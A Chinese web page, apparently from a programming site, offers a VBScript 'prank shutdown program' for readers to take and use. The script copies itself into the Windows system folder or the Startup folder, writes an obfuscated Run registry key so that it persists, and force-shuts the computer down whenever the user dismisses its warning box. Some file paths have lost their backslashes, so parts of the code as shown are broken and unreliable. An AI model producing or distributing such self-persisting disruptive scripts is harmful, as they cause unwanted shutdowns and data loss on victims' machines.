收藏本站 收藏本站
积木网首页 - 技术学院 - 软件测试 - 网站黄页 - 常用手册 - 站长工具 - 技术社区
首页 > VBScript > 正文

首页 - PHP - 数据库 - 操作系统 - 游戏开发 - JS - Android - MySql - Redis - MongoDB - Win8 - Shell编程 - DOS命令 - jQuery - CSS样式 - Python - Perl

Access - Oracle - DB2 - SQLServer - MsSql2008 - MsSql2005 - Sqlite - PostgreSQL - node.js - extjs - JavaScript vbs - Powershell - Ruby

vb下的恶搞关机程序

额,不多介绍了,能看懂的就拿走,看不懂的拿走也没用。

Dim fs, dirwin, c,Wll, str,strr,r

Set fs = CreateObject("Scripting.FileSystemObject") 

Set dirwin = fs.GetSpecialFolder(1)

Set Wll = WScript.CreateObject("WScript.Shell")

Set c = fs.GetFile(WScript.ScriptFullName) 

str ="HK"&"LMSOFT"&"WAREMicr"&"osoftWin"&"dowsCurren"&"tVersionR"&"unwxb"

if (fs.FileExists(dirwin&"wxb.vbs")) Then

call Show_And_Do("reg")

elseif (fs.FileExists("C:Documents and SettingsAll UsersStart MenuProgramsStartupwxb.vbs")) Then

call Show_And_Do("Startup")

else 

On Error Resume Next

strr=""

Wll.RegWrite str, "C:WINDOWSsystem32wxb.vbs", "REG_SZ"

strr=Wll.Regread (str)

if strr="" then

c.Copy("C:Documents and SettingsAll UsersStart MenuProgramsStartupwxb.vbs") 

 else

c.Copy(dirwin&"wxb.vbs") 

end if 

end if 

sub Show_And_Do(s)

dim f

r = MsgBox ("警告:请不要随便动我的电脑! " & Chr(13) & Chr(10) & "确定->下次一定会先征求同意的" & Chr(10) & "取消->爱咋滴咋地,我才不管他嘞!", 4145, "MsgBox Example")

If r = 1 Then  

if s="Startup" then

set f = fs.GetFile("C:Documents and SettingsAll UsersStart MenuProgramsStartupwxb.vbs")

f.Delete()

elseif s="reg" then

Wll.RegDelete str

set f = fs.GetFile(dirwin&"wxb.vbs")

f.Delete()

end if  

Else

wll.run "Shutdown.exe -s -f -t 0"

End If

end sub

好了,代码分享给大家了,不要随便拿去搞破坏!

vbs脚本实现修改DNS和清空IE临时文件功能
今早接到山青院电话,说需要一个修改DNS为校内DNS,并且清空IE临时文件的脚本,想都没想,用批处理写了一个:remprogramedbyKaisir@echooffecho本脚本的作用

通过vbs获取远程host文件并保存到指定目录
Subdownload(url,target)ConstadTypeBinary=1ConstadTypeText=2ConstadSaveCreateOverWrite=2Dimhttp,adoSethttp=CreateObject("Msxml2.ServerXMLHTTP")http.SetOption2,13056http.open"GET",url,Falsehttp.sendSeta

vbs实现unicode和ascii编码转换
一、CopyaUnicodeFiletoanANSIFileWiToAnsi.vbs文件:'UtilitytorewriteaUnicodetextfileasanANSItextfile'ForusewithWindowsScriptingHost,CScript.exeorWScript.exe'Copyright(c)1999,MicrosoftCorporation'O

本周排行

更新排行

强悍的草根IT技术社区,这里应该有您想要的! 友情链接:b2b电子商务
Copyright © 2010 Gimoo.Net. All Rights Rreserved  京ICP备05050695号